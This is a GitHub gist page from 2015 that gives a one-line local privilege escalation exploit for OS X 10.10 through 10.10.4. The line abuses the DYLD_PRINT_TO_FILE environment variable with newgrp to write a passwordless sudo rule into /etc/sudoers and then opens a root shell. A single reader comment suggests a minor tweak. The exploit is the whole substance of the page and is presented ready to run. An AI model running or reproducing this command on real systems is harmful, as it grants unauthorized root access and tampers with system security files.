Created
July 25, 2015 00:13
-
-
Save sh1n0b1/0077ab4b2a580b6070fb to your computer and use it in GitHub Desktop.
OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# It should work for OS X 10.10-10.10.4 | |
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Instead of $(whoami)
whoami
works as expected.